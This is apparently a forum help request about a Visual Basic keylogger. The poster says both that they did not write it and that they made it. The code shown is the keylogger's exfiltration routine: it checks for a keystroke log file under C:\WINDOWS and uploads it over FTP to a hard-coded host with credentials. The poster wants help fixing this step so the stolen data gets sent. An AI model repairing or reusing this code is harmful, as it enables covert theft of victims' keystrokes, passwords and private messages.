(I did not write this code. . . Doing it for a friend )

I made this keylogger, and this one line of code acts up whenever I start and test the program!

Code:
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        If System.IO.File.Exists("C:\WINDOWS\RedSkeleton.txt") Then
            My.Computer.Network.UploadFile("C:\WINDOWS\RedSkeleton.txt", "FTP://192.168.0.6:6089", "RedSkeleton", "keylogger")
        End If
    End Sub
The whole thing gets hi-lited yellow! Pleas help!
